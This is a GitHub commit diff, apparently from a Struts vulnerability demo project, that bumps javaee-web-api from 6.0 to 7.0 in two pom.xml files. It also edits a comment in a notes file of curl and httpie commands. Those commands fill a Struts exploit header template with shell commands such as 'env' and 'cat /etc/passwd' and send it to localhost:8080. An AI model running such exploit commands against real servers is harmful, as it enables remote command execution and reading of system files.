File tree 3 files changed +3
-3
lines changed 3 files changed +3
-3
lines changed Original file line number Diff line number Diff line change 1
1
# Struts exploit using curl and httpie (more colourful HTTP client)
2
- (runs ' env' or ' cat /etc/passwd' , can replace env with any other command (note to escape slashes and double quotes)
2
+ # (runs 'env' or 'cat /etc/passwd', can replace env with any other command (note to escape slashes and double quotes)
3
3
cat struts-exploit-headers.txt| sed " s/COMMAND/env/" | xargs curl -v -X GET http://localhost:8080 -H
4
4
cat struts-exploit-headers.txt| sed " s/COMMAND/cat \/etc\/passwd/" | xargs http -v http://localhost:8080
Original file line number Diff line number Diff line change 29
29
<dependency >
30
30
<groupId >javax</groupId >
31
31
<artifactId >javaee-web-api</artifactId >
32
- <version >6 .0</version >
32
+ <version >7 .0</version >
33
33
</dependency >
34
34
35
35
<!-- jstl-->
Original file line number Diff line number Diff line change 28
28
<dependency >
29
29
<groupId >javax</groupId >
30
30
<artifactId >javaee-web-api</artifactId >
31
- <version >6 .0</version >
31
+ <version >7 .0</version >
32
32
<scope >provided</scope >
33
33
</dependency >
34
34
You can’t perform that action at this time.
0 commit comments